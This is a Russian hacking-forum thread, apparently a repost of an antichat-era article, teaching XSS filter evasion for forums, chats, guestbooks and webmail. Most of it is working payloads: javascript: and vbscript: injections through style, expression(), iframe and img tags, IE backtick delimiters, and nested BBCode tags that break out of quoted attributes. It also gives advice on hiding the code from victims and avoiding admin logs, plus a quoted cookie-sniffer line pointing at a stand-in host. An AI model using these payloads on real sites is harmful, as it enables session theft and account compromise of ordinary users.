Что с компьютерами

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Что с компьютерами » XSS Уязвимости » XSS Крупным планом.


XSS Крупным планом.

Сообщений 1 страница 4 из 4

1

Слушая непрестанное прошение от пользователей античата в моей холодной, скромной аськи написать побольше статей, Я решил все таки так и сделать - написать ещё одну Гениальную статью.

Прочитав свои недавно написанные статьи, Я пришёл к выводу, что они были не столько статьи, сколько уже готовые варианты, и мне захотелось написать настоящую статью, описав все более менее подробно, как работают вещи и почему.

Пришел Я к этому выводу из-за того, что увидел, что когда Я элементарным языком объясняю и показываю мои Гениальнейшие нахождения, то никто толком ничего и не понимает. Ну понятно почему, ведь сейчас из-за меня пошел ...хлынул лучше скажу народ, который мало что где читал.

Эта статья долгая, и почерпать могут из неё как и новички, так и Алгол.

Ну начнемс иМхо....


В одной из моих статей, Я с вами рассматривал разновидные варианты обхода фильтров в параметрах атрибута style.

Напомним себе материал той статьи, так как этот материал нам еще пригодится.

Код HTML:

<html><body><a href=www. style="back\g\r\o\u\nd:\u\r\l\(\javasc\r\i\p\t\:a\le\r\t\ (\'\w\j\'\)\)" >wj<a></body></html>

Код HTML:

<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**/'\w\j\'/**/\/**/)/**/\/**/)" >wj<a></body></html>

Код HTML:

<html><body><a href=www. style="/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/)" >wj<a></body></html>

Код HTML:

<html><body><a href=www. style=/**/back\g\r\o\u\nd/**/:/**/\u/**/\r/**/\l/**/\(/**/\j/**/a/**/v/**/a/**/s/**/c/**/\r/**/\i\p/**/\t\:/**/a/**/\l/**/e/**/\r/**/\t/**/\(/**/\/**//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>

Код HTML:

<html><body><a href=www. style=&#61&#61&#61/&#61*&#61*&#61/&#61back\g\r\o\u\nd&#61/&#61*&#61*&#61/&#61:&#61/*&#61*/\u/*&#61*/\r/*&#61*/l/*&#61*/\(/*&#61*/\j/*&#61*/a/*&#61*/v/*&#61*/a/*&#61*/s/*&#61*/c/*&#61*/\r/*&#61*/\i\p/*&#61*/\t\:/*&#61*/a/*&#61*/\l/*&#61*/e/*&#61*/\r/*&#61*/\t/*&#61*/\(/*&#61*&#61/&#61\&#61/&#61*&#61*//\w\j\//**/\/**/)/**/\/**/) >wj<a></body></html>

Код HTML:

<html><body><a href=www. style=&#61&#61&#61/&#61*&#61*&#61/&#61back\g\r\o\u\nd&#61/&#61*&#61*&#61/&#61:&#61/*&#61*/\u/*&#61*/\r/*&#61*/l/*&#61*/\(/*&#61*/\j/*&#61*/a/*&#61*/v/*&#61*/a/*&#61*/s/*&#61*/c/*&#61*/\r/*&#61*/\i\p/*&#61*/\t\:/*&#61*/a/*&#61*/\l/*&#61*/e/*&#61*/\r/*&#61*/\t/*&#61*/\(/*&#61*&#61/&#61\&#61/&#61*&#61*/'\w\j\'/*&#61*&#61/&#61\&#61/&#61*&#61*/)/*&#61*&#61/&#61\&#61/&#61*&#61*/) >wj<a></body></html>

Тут показывается, как ИЕ славно убирает всякие ошибки - до выполнения кода. Убирает ИЕ ошибки в параметрах как Я уже сказал раньше, ДО выполнения....и это мы с вами еще рассмотрим иМхо.

Как уже поняли, Я показывал новые обходы фильтров в параметре Style. А теперь Я бы хотел объяснить почему это
все в параметре style работает, а так же, показать методы обхода фильтров и в самих атрибутах.

Ну начнёмс иМхо заново.....



До атрибута style, можно поставить иМхо, что угодно...

Будет работать и так,

Код HTML:

<html><body> <WhiteJordan/style=background:url(javascript:alert(/wj/))> </body></html>

И да, даже вот так,

Код HTML:

<html><body> <WhiteJordan/**/style=background:url(javascript:alert(/wj/))> </body></html>

Да блин и вот так!

Код HTML:

<html><body> <WhiteJordan/*/style=background:url(javascript:alert(/wj/))> </body></html>

Да [мат]! Так ТОЖЕ будет работать [мат]!

Код HTML:

<html><body> <White Jordan/*/style=background:url(javascript:alert(/wj/))> </body></html>

Но проблема иногда бываем из-за того, что сам атрибут, "style", иногда просто фильтруется, а иногда к нему прибавляется ещё и крестик какой нить, (X) в этом случаи, это можно обойти вот так,

Код HTML:

<html><body> <WhiteJordan/StYlE =background:url(javascript:alert(/wj/))> </body></html>

Где буквы S, Y и E, написаны большими буквами, а после большой буковки E, до знака равенства, (=) идут обычные пробелы.

И естественно сами пробелы, можно тоже заменить ещё и табуляциями....примерно вот так,

Код HTML:

<html><body> <WhiteJordan/StYlE =background:url(javascript:alert(/wj/))> </body></html>

Тоже самое, можно употребить и для тега <img src=...>,

Код HTML:

<html><body> <img/src =javascript:alert(/wj/)> </body></html>

Или

Код HTML:

<html><body> <img src =javascript:alert(/wj/)> </body></html>

и

Код HTML:

<html><body> <img / src =javascript:alert(/wj/)> </body></html>

Тут использовались табуляции ( ), в совокупности со слешом. (/)

Должен ещё добавить, что в середине атрибутов тега можно вписывать - что угодно...к примеру:

Код HTML:

<html><body> <img White Jordan src =javascript:alert(/wj/)> </body></html>

Или вообще это все написать вот так,

Код HTML:

<html><body> <img/WhiteJordan/src=javascript:alert(/wj/)> </body></html>

Атрибут img, можно и не сокращать:

Код HTML:

<html><body> <image/White/Jordan/src=javascript:alert(/wj/)> </body></html>

Чуток познакомлю всех с материалом на разброс, на всякий пожарный если кто не знал или ещё что-нить такое..

В языке VbScript, в скобках, можно ТОЛЬКО вставить двойные кавычки, что-бы получить видное для глаз сообщение в коробке алёрта.

То есть вот так,

Код HTML:

<html><body> <img src=vbscript:alert(/wj/)> </body></html>

Или так,

Код HTML:

<html><body> <img src=vbscript:alert(`wj`)> </body></html>

Или вот так,

Код HTML:

<html><body> <img src=vbscript:alert('wj')> </body></html>

Работать у вас не хера не будет.

Будет работать только вот так:

Код HTML:

<html><body> <img src=vbscript:alert("wj")> </body></html>

В двух словах, если вы хотите в параметре (внутренности) атрибута тега использовать VbScript, а сам параметр заключить в кавычки, то для работоспособности вы должны будите написать вот так:

Код HTML:

<html><body> <img src='vbscript:alert("wj")'> </body></html>

Или же так.

Код HTML:

<html><body> <img src=`vbscript:alert("wj")`> </body></html>

Вот так у вас,

Код HTML:

<html><body> <img src="vbscript:alert("wj")"> </body></html>

Работать не будет.

До функции "expression", можно вставить - что угодно. Хоть так, ИЕ по барану:

Код HTML:

<html><body> <span style="WhiteJordan:expression(eval(window.alert(/wj/)))">wj</span> </body></html>

Функцию "eval" писать тоже не обязательно, а функцию, "window.alert", можно сократить до "alert":

Код HTML:

<html><body> <span style="WhiteJordan:expression(alert(/wj/))">wj</span> </body></html>

Или же так, создать свой собственный атрибут и назвать его, "span2", после чего его параметр будет обрабатываться JavaScript`ом.

Код HTML:

<html><body> <span style="WhiteJordan:expression(javascript(eval(span2)));" span2='alert(/wj2/);span2=null;'></span></body></html>

Можно конечно и так,

Код HTML:

<html><body> <span style='background:url(javascript:eval(window.alert ("wj")))'> </body></html>

Чуток покажу вам браузеро не зависимые коды, то есть коды, которые работает во всех браузерах.

Код HTML:

<html><body> <iframe src="javascript:eval(this.wj); wj=this.wj='<scrip\x74>aler\x74(/wj/);</scrip\x74>'"> </body></html>

Код HTML:

<html><body> <iframe src="javascript:eval(this.wj); wj=this.wj='<script>alert(/wj/);</script>'"> </body></html>

Код HTML:

<html><body><iframe src=javascript:alert(/wj/) style='display:none;'></body></html>

Код HTML:

<html><body> <iframe src='javascript:eval(this.wj1); wj1=alert(/wj2/);' style='display:none'> </body></html>

Кратко дам описание,

Потому что iframe src после знака равенства настроен на то, чтобы получать источник/адрес, то используя это, мы зададим ему вместо источника - JavaScript. Само слово, "src" сокращенна от английского слова, "source" что в переводе на русский язык означает = Источник. Функция, "eval", сокращенна от Английского слова, "Evaluate", и в переводе с Английского слова на русский, (В нашем случае) означает = "Обрабатывать, обработать". Английское слово, "This", означает в переводе на русский язык = "Это, вот это". А что именно, "это"? В данном случае мы указываем свой собственный атрибут, который мы наименовали wj1, и указали JavaScript`у, чтобы он наш новый атрибут - обработал. Атрибут и его параметр, style=display:none; вписан чтобы спрятать наш код от глаз нашей жертвы, и приведенный код, не имеет браузер зависимость и работает во всех трех популярных браузерах ИЕ, Фаерфокс и Опера. (С лева на права по проценту ихнего использования.)

Хочу вернутся чуток к атрибуту style. Как Я уже говорил, до атрибута, "style", можно писать что угодно, лишь бы после него шёл знак равенства. (=) В других словах, совсем не обязательно писать <span style=...> - для его работоспособности. Причем сам атрибут, "style", можно вписывать и с любыми другими атрибутами, а он все равно будет работать.

К примеру, возьмем тег ссылки,

Код HTML:

<a href=http://www.wj.com>http://www.wj.com</a>

И впишем туда наш атрибут, "style",

Код HTML:

<a href=http://www.wj.com style=background:url(javascript:alert(/wj/))>http://www.wj.com</a>

Это все хорошо....но если Я теперь пойду дальше, то те люди которые не имеют знаний - ничего не поймут.

Объясню что и как, используя тег ссылки, для краткого объяснения.

Код HTML:

<a href=http://www.wj.com>wj1</a>

С начало идет левая угловая скобка, (<) открывающая тег, потом идет атрибут тега, (a href) потом идет знак равенства, (=) который говорит, что атрибут закончился и начался параметр атрибута, сразу после знака равенства, (=) идет параметр атрибута, (http://www.wj.com) потом идет правая закрывающая угловая скобка, (>) после нее идёт наше видимое наименование нашего тега, (wj1) а чтобы указать где наше именование кончается, мы указываем атрибут </a> и у нас получается работоспособный тег ссылки. После клика на эту ссылку, параметр атрибута образно говоря, вставится в поле адреса в верхнею часть нашего браузера, и мы на лыжах поедем по этому адресу.

Давайте посмотрим, что случится если мы в параметре атрибута - впишем пробел.

Код HTML:

<a href=http://www.wj .com>http://www.wj.com</a>

Или табуляцию...

Код HTML:

<a href=http://www.wj .com>http://www.wj.com</a>

А вот что будет...слово, ".com", которое до этого у нас было параметром тега, теперь из-за пробела ( ) или табуляции, ( ) стало атрибутом и теперь ждет, чтобы мы ей указали знак равенства, (=) чтобы начать свой собственный параметр.

А есть ли какой нибудь способ, чтобы в параметре атрибута указать пробел или табуляцию, и не сделать все, что идет после пробела и табуляции - атрибутом?...



Ответ = Да, есть.



Для этого в параметр тега сразу после знака равенства, вставляется одна из двух видов кавычек - одинарная, (') или двойная. (")

Чуток отвлекусь и расскажу вам кратко о кавычках....

Легальных, работоспособных кавычек в языке JavaScript - всего две. Одинарная, (') и двойная. (") Многие разработчики браузеров считают, что должна существовать только одна кавычка - двойная. Одинарную многие разработчики браузеров как легальную в языке JavaScript и в других языках - признавать не хотят. (Хоть про JavaScript чуток не в тему, однако не беда если напомню иМхо)

Написав наш код через двойные кавычки,
Код HTML:

<a href="http://www.wj.com">http://www.wj.com</a>

Мы тем самом, указали атрибуту, что все, что будет идти в середине двойных кавычек - будет параметром атрибута тега и будет параметром атрибута тега в не зависимости если это пробел, табуляция, или даже левая или правая угловая скобка. То есть мы теперь смело можем вписывать в параметр тега пробел, ( )

Код HTML:

<a href="http://www.wj .com">http://www.wj.com</a>

Табуляцию ( )

Код HTML:

<a href="http://www.wj .com">http://www.wj.com</a>

Одинарную кавычку (')

Код HTML:

<a href="http://www.wj'.com">http://www.wj.com</a>

Угловые скобки,

Код HTML:

<a href="http://www.wj <script>alert('wj')</script>.com">http://www.wj.com</a>

И при этом все это, будет в параметрах нашего тега.

А что будет, если мы в наш параметр, который теперь заключен в двойные кавычки, впишем ещё одну двойную кавычку по середине?....

Код HTML:

<a href="http://www.wj".com">http://www.wj.com</a>

А будет следующие....из-за того, что мы теперь закрыли нашей двойной кавычкой параметр атрибута вставив её в середину нашего параметра, из-за этого, наше слово, ".com", которое у нас раньше было параметром - стало атрибутом.

Ещё один момент, когда параметр заключен в кавычки, то не обязательно после кавычек вписывать пробел или табуляцию, чтобы иметь рабочий атрибут. То есть вполне легально написать так:

Код HTML:

<html><body> <a href="http://www.wj"style='background:url(javascript:alert(/wj/))'.com">http://www.wj.com</a></body></html>

И иметь работоспособный код. Не обязательно до атрибута, "style", писать пробел.

Теперь давайте рассмотрим альтернативу тегов, которые обычно называются ББ кодами и используются в e-mail`ах, в форумах, в чатах, в гостевых книгах и в других местах - как альтернативы.

В целях безопасности а главное удобности, люди пришли к выводу, что не обязательно пользователю вписывать

Код HTML:

<a href="http://www.wj.com">http://www.wj.com</a>

Чтобы у него получилась рабочая ссылка, когда ему просто можно написать:

Код HTML:

http://www.wj.com

Послать это со своим сообщением, а система, обработавши это, преобразует эти ББ коды в следующий результат:

Код HTML:

<a href="http://www.wj.com">http://www.wj.com</a>

Давайте сравним их... =)))

Код HTML:

<a href="http://www.wj.com">http://www.wj.com</a>

Код HTML:

http://www.wj.com

Лепота....=)))))

При этом легко понять, что если мы впишем в наши ББ коды двойную кавычку,

Код HTML:

http://www.wj.com

То эта безобидная кавычка, может закрыть параметр, а нам дать возможность вписать свой собственный атрибут для атаки.

Код HTML:

<a href="http://www.wj".com">http://www.wj.com</a>

Чтобы такого не было, люди придумали вставлять фильтры, которые бы просканивали ввод пользователя и нашедши запретные объекты, или полностью бы удаляли эти запретные объекты, или изменяли бы эти объекты - на ихние зашифрованные альтернативы.

То есть сейчас почти везде, во всех форумах, чатах и гостевых книгах, написав:

Код HTML:

http://www.wj.com

Мы бы получили следующий результат:

Код HTML:

<a href="http://www.wjFILTERED.com">http://www.wj.com</a>

И тем самым, выйти из параметра атрибута - у нас бы не получилось.

А что если двойная кавычка НЕ отфильтрировалась....что вписывать тогда, чтобы совершить атаку?

Есть такая вещь, по названию "Обратный Апостроф". (`) Он не является ограничителем строк в таких языках как JavaScript, VbScript, Jscript, CSS, и так далее, однако он как раз таки является ограничителем строк, в языках HTML и XHTML, но только в браузере ИЕ. (Среди Оперы, Фаерфокс и ИЕ,)

Короче браузер ИЕ, признает одинарную кавычку, (') двойную кавычку (") и обратный апостроф (`) - как ограничителями строк в параметрах атрибутов только в языках HTML и XHTML.

Другие браузера как Опера и Фаерфокс - признают только одинарную и двойную кавычку в языках HTML и XHTML, как границами параметров.

Как все уже знаем, браузер ИЕ, может убирать не смертельные ошибки программиста....приведу несколько примеров:

Код HTML:

<img src="java script:alert(/wj/)">

Что сделает ИЕ в этом случае? Правильно! Он ее уберет...как проверить, что он ее именно убирает?

Пишем вот так в доказательство вам:

Код HTML:

<img src="javascript:alert( /wj/ )">

Выскочит алёрт.

Код HTML:

<img src="javascript:alert(/ wj /)">

Выскочит алёрт.

Код HTML:

<img src="javascript:alert(/ /)">

Алерт НЕ выскочит, потому что табуляция будет вырезана браузером ИЕ и в итоге у нас получится равно сильно следующему скрипту:

Код HTML:

<img src="javascript:alert(//)">

То есть два не одинаково написанные скрипты:

Код HTML:

<img src="javascript:alert(/ /)">

И

Код HTML:

<img src="javascript:alert(//)">

- Выполнятся одинаково.

Являются ли табуляции в этих случаях ошибками? Да! Убирают ли другие браузеры эти ошибки как это делает браузер ИЕ?

лоооол Да! Хоть другие браузера как Фаерфокс и Опера этому менее и научены, (ИЕ браузер делает это лучших всех остальных браузеров,) но Фаерфокс и Опера работают по такому же принципу.

И это совсем не значит, что ИЕ является из-за этого "хуже" чем Фаерфокс или Опера или другие браузеры. Просто из-за того, что Микрасофт хотел, чтобы его браузер был бы самым распространенным по использованию, Микрасофт именно по этой причине и создал ИЕ так - как он собственно и создан. И речь совсем не идёт о глюках или ошибках ИЕ, а вообще в каком браузере их нет? И кстати в плане того, чтобы ИЕ стал наибольше использован, то в этом плане, Микрасофт свою цель - достиг.

Фаерфокс и Опера однако, придерживаются более жёсткой системе и менее научены угадывать или убирать ошибки программистов во время обрабатывания определенного языка.

0

2

А теперь продолжим нашу статью....

Вписываем следующий код, после того, как нам удалось выйти из параметра атрибута и создать наш собственный атрибут.

Код HTML:

<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert( /wj/))`</a>

Взгляните на самый первый по счету обратный апостроф....

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert( /wj/))`</a>

Он у нас теперь стал атрибутом...после него идёт знак равенства, который как Я уже объяснял закрывает атрибут и начинает параметр атрибута...после знака равенства, идёт второй обратный апостроф,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert( /wj/))`</a>

Который теперь возьмет все, что после него идет в параметр...

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>

Потом следует ещё один обратный апостроф, который закрывает наш параметр,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>

И наконец-то, следует наш атрибут, "style", со своим параметром,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>

Который тоже заключен в обратные апострофы,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>

Которые ИЕ воспринимает как ограничителями параметров.

И конечно то же самое, можно и написать с одинарной кавычкой. (')

Цитата:
<a href="http://www.wj"'='.com">http://www.wj.com'style='background:url(javascript:alert( /wj/))'</a>

А зачем мы это все написали? Ведь не проще ли написать так и все дела?....

Цитата:
<html><body>
<a href="http://www.wj"style=`background:url(javascript:alert(/wj/))`.com">http://www.wj.com</a></body></html>

Ответ = Конечно проще! Но проблема в том, что в ББ кодах, ключевые слова как JavaScript и другие, очень часто фильтруется...а в большинстве случаев за пределами ББ кодов - этой фильтрации нет.

Так как обратный апостроф в параметрах является ограничителем в HTML и XHTML только в браузере ИЕ, то в браузере Фаерфокс и Опера, будет выглядеть абракадабра, которая нам сможет привлечь не нужное внимание.

Для этого можно написать код вот так и решить эту проблему.

Цитата:
<html><body>
<a href="http://www.wj"style='display:none'style=`background:url(javascri pt:alert(/wj/))`.com">http://www.wj.com</a></body></html>

Это спрячет наш код от глаз любого пользователя который не использует ИЕ, потому что в большинстве случаев одинарная кавычка и обратный апостроф - не фильтруются. Фильтруется только двойная кавычка, так как писатели фильтров ББ кодов наивно думают, что отфильтровав двойную кавычку, пользователь не сможет внедрить зло-целеустремленный код. В каком то случае - они правы....если параметр атрибута заключен в определенную кавычку, то хоть ты вписывай в этот параметр угловые скобки, они всё ровно сделать ничего плохого не смогут......а так ли это?

Теоретически = да, это так...ЕСЛИ все кавычки отфильтрованы.

О чем Я? О том, что если параметр ББ кода заключен в двойные кавычки а сама двойная кавычка которая нужна, чтобы этот параметр своевольно закрыть; чтобы вписывать после этого заключенного параметра в двойные кавычки свой собственный атрибут,.....то это ещё не беда. Ведь можно использовать двойные кавычки других ББ кодов, которые заключают параметры этих ББ кодов в кавычки, и закрывать первый параметр определенного кода, кавычками второго параметра, который для безопасности - заключен в кавычки.

Не поняли??? Сейчас поймете!

В ББ годах, есть два способа писать ссылку...вообще то есть ещё и третий способ, который работает когда на форуме Magic Links поставлены на "ON". Если напишем на форуме
Цитата:
http://www.wj.com
И до и после этой ссылки будет существовать пробел, то она автоматом об-работается ББ кодом и превратится в рабочую ссылку...

Но вернемся..

Вариант один:

Код HTML:

http://www.wj.com

И вариант два,

Код HTML:

http://www.wj.com

Результат - один и тот же:

Код HTML:

<a href="http://www.wj.com">http://www.wj.com</a>

В первом случаи, тег:

Цитата:
http://www.wj.com

Нужен для того, чтобы у нас был выбор вписывать в имя нашей ссылки - что угодно. Если ещё не заметили или кто не знал, в имя ссылки,

Цитата:
<a href="http://www.wj.com">http://www.wj.com</a>

Можно вписывать, что угодно, не изменяя тем самым параметр атрибута...

Код HTML:

<a href="http://www.wj.com">что угодно</a>

Если вообще ничего не вписать,

Код HTML:

<a href="http://www.wj.com"></a>

То ссылка не отобразится.

Вернемся к нашей теме...

Что будет, если кавычкой которая начинает определенный параметр ББ кода, что будет, если мы ей закроем параметр другого ББ кода примерно вот так:

Код HTML:

http://www.wj2.com.com]http://www.wj3.com[/url]

Код HTML:

<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>

От сюда и появилась идея вложенных и спаренных тегов.

Код HTML:

<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>

Обратите внимание, что
Цитата:
http://www.wj2.com

Который должен был до этого быть параметром атрибута, сам стал атрибутом.
Цитата:
wj1<a href=
Стало теперь внутри параметра, а двойная кавычка идущая после,
Цитата:
wj1<a href=

Цитата:
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>

Теперь закрыла параметр первого атрибута. Мы только что рухнули структуру тегов и у нас получился взлом. Теперь чтобы закрыть атрибут
Цитата:
http://www.wj2.com
Который должен бы быть параметром а стал атрибутом и написать наш собственный параметр - нам нужно вписать знак равенства. (=)

Код HTML:

http://www.wj2=.com.com]http://www.wj3.com[/url]

В результат получим следующие:

Код HTML:

<a href="http://www.wj1<a href="http://www.wj2=.com">http://www.wj2=.com</a>.com">http://www.wj3.com</a>

Слово, ".com", теперь из-за знака равенства, стало параметром атрибута http://www.wj2

Добавляем теперь слеш (/) перед нашим атрибутом http://www.wj2 а после слеша, напишем атрибут, "style", и знак равенства.

Код HTML:

http://www.wj2/style='background:url(javascript:alert(/wj/))'.com.com]http://www.wj3.com[/url]

Так это все будет выглядеть:

Код HTML:

<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>



А теперь для разнообразия, отдыха и просто потому что это интересно читать - вставлю маленькую историю.

Когда Я проводил дискуссию с моим элитным другом JazzzSummerMan, который первым был кто был удостоен прочитать сырую статью века, то разговор зашёл о слешах, которые вставлены по середине атрибутов. С его разрешением, приведу часть лога из наших асек, чтобы такое мнение больше не поднималось:

Цитата:
12/6/2005 19:28:56, zhelezo
зачем делать так:
<WhiteJordan/**/style=background:url(javascript:alert(/wj/))>
если можно так:
<WhiteJordan/style=background:url(javascript:alert(/wj/))>

12/6/2005 19:29:24, qwertyzaq123
это один из вариантов, расчитанно на то, чтобы обойти фильтр на ящике допустим

12/6/2005 19:29:36, qwertyzaq123
это рабочии варианты чтобы обмануть фильтрыцию

12/6/2005 19:29:42, qwertyzaq123
ящиков, имейлов

12/6/2005 19:29:49, qwertyzaq123
форумов и чатов

12/6/2005 19:30:18, zhelezo
ок, но нафиг ты копируешь? написал бы
/ЛЮБАЯ_ПОСЛ_СИМВОЛОВ/

12/6/2005 19:30:31, qwertyzaq123
лол

12/6/2005 19:30:44, qwertyzaq123
просто один из вариантов

12/6/2005 19:30:59, qwertyzaq123
Ламерам только нужно copy/paste

12/6/2005 19:31:15, qwertyzaq123
Это Я на опыте научился

12/6/2005 19:31:20, qwertyzaq123
они не могут думать

12/6/2005 19:32:01, zhelezo
вот откуда это взято:
Обход фильтрации некоторых символов

<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)

12/6/2005 19:32:21, qwertyzaq123
арм нет...о_О там пробел

12/6/2005 19:32:31, qwertyzaq123
/**/

12/6/2005 19:32:39, qwertyzaq123
заменяется как пробел в отом месте

12/6/2005 19:32:46, qwertyzaq123
что бы сниффер работал

12/6/2005 19:33:02, qwertyzaq123
все те варианты, Я придумовал сам чисто посмотреть что будет

12/6/2005 19:33:06, zhelezo
<image/src="1.png"/alt="Подсказка"/border="0">

12/6/2005 19:33:18, qwertyzaq123
это объяснение,

12/6/2005 19:33:25, zhelezo
да какая разница-то? разница в том что ты тэги другие написал?

12/6/2005 19:33:28, qwertyzaq123
что если параметры заключенны в кавычки

12/6/2005 19:33:42, qwertyzaq123
то пробел не нужен до следущаго атрибута

12/6/2005 19:33:49, qwertyzaq123
совсем другое чуток

12/6/2005 19:33:59, qwertyzaq123
разница в том,

12/6/2005 19:34:00, zhelezo
смотри, вот это:
<image/src="1.png"/alt="Подсказка"/border="0">

12/6/2005 19:34:04, qwertyzaq123
ну

12/6/2005 19:34:11, zhelezo
видишь атрибут и тэг разделены

12/6/2005 19:34:16, qwertyzaq123
угу

12/6/2005 19:34:24, qwertyzaq123
а точно

12/6/2005 19:34:27, zhelezo
короче лол

12/6/2005 19:34:28, qwertyzaq123
гы не заметил

12/6/2005 19:34:44, qwertyzaq123
все что написанно в статье, это было самостоятельно

12/6/2005 19:35:02, qwertyzaq123
так что если там повторяется, то это не значит что Я копировал от туда

12/6/2005 19:35:22, qwertyzaq123
все что в статье, это было когда от нечего делать, Я начил смотреть что будет если

Ну так вот, подумав о нашем разговоре где мы разговаривали о статье Алгола и zFailure`a, http://www.antichat.ru/crackchat/HTML/ Я заметил, что Я описывал чуток другое..

Код HTML:

<image/src="1.png"/alt="Подсказка"/border="0">

Обратим внимание на image/src что мы тут видим? Мы видим, что братскии так скажем атрибуты, могут быть разделены слешом, или пробелом. Я же хотел показать, что сам атрибут style не нуждается в этом и может работать сам по себе вне зависимости - что идет до него. То есть ему совсем по барану если ДАЖЕ атрибут, который до него разделен слешом или пробелом - правильный или не правильный.

Все, что идет ниже в качестве примера, для ИЕ, как то до Питерской лампочки...код все равно будет работать:

Код HTML:

<image style=background:url(javascript:alert(/wj/))>

Код HTML:

<image src/style=background:url(javascript:alert(/wj/))>

Или возьмем наш выше приведенный пример, который мы использовали в ББ кодах:

Цитата:
<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>

Все, что отмечено черным цветом - является атрибутами. Синим цветом отмечены параметры этих атрибутов. Я хочу привлечь ваше внимание на строку, http://www.wj2/style. Эта вся строка, является атрибутом...до атрибута, "style", как вы сами видите, стоит не существующий в природе атрибут, http://www.wj2, но если поставить слеш после этого не существующего атрибута, то сам атрибут, "style", и его параметр - будут работают.

Этого объяснения в статье Algol`a и zFailure`a - нет. Более того, на всем античате этого тоже нет, так как это мне показал мой хороший друг xSpider, которого античат бацнул толком из-за того, что были подозрения что Я - это он.

Чуток отдохнули? За работу! Читаем дальше!

Если вы взломщики или просто совестные люди, которые хотели бы защитить свой форум, гостевую книгу или чат от атак XSS бессовестных взломщиков, то не нужно это делать как на http://forum.web-hack.ru...

Цитата:
Отключим все теги чтобы избежать атаку XSS от бессовестного Белого Джордана, но однако оставим ему две комбинации рабочих тегов, чтобы он через них смог провести атаку XSS.

Ну так вот, не нужно так делать, потому что можно теперь просто напросто использовать все мои комбинации, которыми Я пользовался и которые Я разработал, можно их использовать, чтобы предотвратить взлом через XSS и при этом, не отключать ни единого тега.

Выкладываю вам все мои комбинации ОСНОВНЫХ тегов, так как далее идущие теги после основных тегов, в основном исключительно-действующие только для определенной версии. (То есть сам-описные)

Если ни одна из этих моих комбинаций не работает, то можете спать спокойно. Ваш форум, чат или гостевая книга - хорошо защищены. Я один умнее ВСЕХ писателей фильтров, потому что писать фильтры, может только тот человек, который понимает как их обходить. Писатели движков форумов, чатов и гостевых книг - не имеют РЕАЛЬНОГО опыта который есть у меня. У них одни теории иМхо, а вообще Я Гения, вы это уже знаете.

Лучше всего, если вы что то ломаете, то смотреть результат в пред-просмотре сообщения/приватного сообщения, и желательно через браузер, "Firefox", так как только в этом браузере, встроена опция подсветника синтаксиса, которую если вы хотите, то можете отключить, ну допустим вот так:
Откройте браузер Фаерфокс, нажмите на правую кнопку мышки, выберите опцию "просмотр исходного кода страницы" наверху исходного кода страницы, вы увидите "Файл, Правка, Вид" нажмите левой кнопки мышки на значение "Вид" и уберите галку с "Подсветка синтаксиса". Если эта опции включена, то в исходном коде страницы, атрибуты и параметры, будут показываться разными цветами.

Пошлите дальше...

Если пред-просмотр отсутствует, то советую самому себе посылать приватные сообщения. Это все делается из-за того, чтобы не оставить лог Администрации, так как ДАЖЕ если вы сотрете свою мессагу на форуме или отредактируете её, то лог все ровно останется и видеть этот лог сможет только Администратор. Этому Я научился как говорится..."The hard way" +)

0

3

Теперь тег
Код HTML:

http://www.wj.gif

Код HTML:

-- -- -- -- --.gif[/img] -- -- --

Теперь тег
Код HTML:

wj

Код HTML:

[font=arialhttp://www.wj.com]wj[/font] [font=arialhttp://www.wj.com]wj[/font] [font=arialwj@wj.com]wj[/font] [font=arial-]wj[/font] [font=arialhttp://www.wj.gif]wj[/font] [font=arialwj]wj[/font] [font=arialwj]wj[/font] [font=arial[size=+1]wj[/size]]wj[/font]

Теперь тег
Код HTML:

wj

Код HTML:

[color=redhttp://www.wj.com]wj[/color] [color=redhttp://www.wj.com]wj[/color] [color=redwj@wj.com]wj[/color] [color=red-]wj[/color] [color=redhttp://www.wj.gif]wj[/color] [color=redwj]wj[/color] [color=redwj]wj[/color] [color=red[size=+1]wj[/size]]wj[/color]

И наконец-то тег
Код HTML:

[size=+1]wj[/size]

Код HTML:

[size=+1http://www.wj.com]wj[/size] [size=+1http://www.wj.com]wj[/size] [size=+1wj@wj.com]wj[/size] [size=+1-]wj[/size] [size=+1http://www.wj.gif]wj[/size] [size=+1wj]wj[/size] [size=+1wj]wj[/size] [size=+1[size=+1]wj[/size]]wj[/size]

Если есть какие нибудь другие теги, которые тоже имеют параметры с кавычками, то также их обрабатываем.

И конечно если все это не помогло, то читайте дальше.

0

4

Для тех, кто читает эту статью, посоветую прочесть статьи Алгола для того, чтобы имея уже первоначальные детские знания, можно было читать дальше иМхо.

http://www.antichat.ru/crackchat/index.html

Я хочу привлечь ваше внимание на следующие:

Цитата:
Сообщение от Algol 
